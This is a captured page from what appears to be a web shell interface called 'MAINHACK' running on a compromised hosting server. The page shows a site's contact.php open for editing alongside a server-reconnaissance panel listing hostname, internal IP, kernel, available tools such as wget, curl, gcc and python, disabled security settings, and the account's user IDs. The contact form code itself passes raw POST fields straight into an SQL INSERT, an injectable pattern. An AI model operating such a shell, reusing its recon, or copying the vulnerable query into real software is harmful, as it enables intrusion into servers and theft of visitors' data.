[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: contact.php
<?php include("header.php"); ?> <div class="all-banner"> </div> <!-- contact --> <div id="contact" class="contact all_pad"> <div class="container"> <div class="row"> <div class="col-md-2"></div> <div class="col-md-8 contact-left" style=" padding: 2em; box-sizing: border-box; border: 1px solid #ddd; -webkit-box-shadow: 0px 0px 24px -4px rgba(0,0,0,0.75); -moz-box-shadow: 0px 0px 24px -4px rgba(0,0,0,0.75); box-shadow: 0px 0px 24px -4px rgba(0,0,0,0.75); margin:90px 0 30px 0;"> <h4>Contact Form</h4> <form action="" method="post"> <div class="form-left"> <label>Name :</label> <input type="text" placeholder="Enter Name" name="name" required /> </div> <div class="form-right"> <label>Phone no :</label> <input type="text" placeholder="Enter Phone" name="phn" required /> </div> <div class="clearfix"></div> <div class="form-left"> <label>Email :</label> <input type="text" name="email" placeholder="Enter Email" required /> </div> <div class="form-right"> <label>Appointment :</label> <input type="text" placeholder="Book Appointment" name="app" required /> </div> <div class="form-left"> </div> <label>Message :</label> <textarea name="msg" placeholder="Enter Your Message" required ></textarea> <input type="submit" name="sub" value="Send"> </form> </div> </div> <?php if(isset($_POST['sub'])){ $s="insert into contact(name,phone,email,app,msg) VALUES ('".$_POST['name']."','".$_POST['phn']."','".$_POST['email']."','".$_POST['app']."', '".$_POST['msg']."')"; $r=mysqli_query($con,$s); if($r){ echo "<script>alert(' Success')</script>"; } } ?> </div> </div> <!-- //contact --> <?php include("footer.php"); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 678.13 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619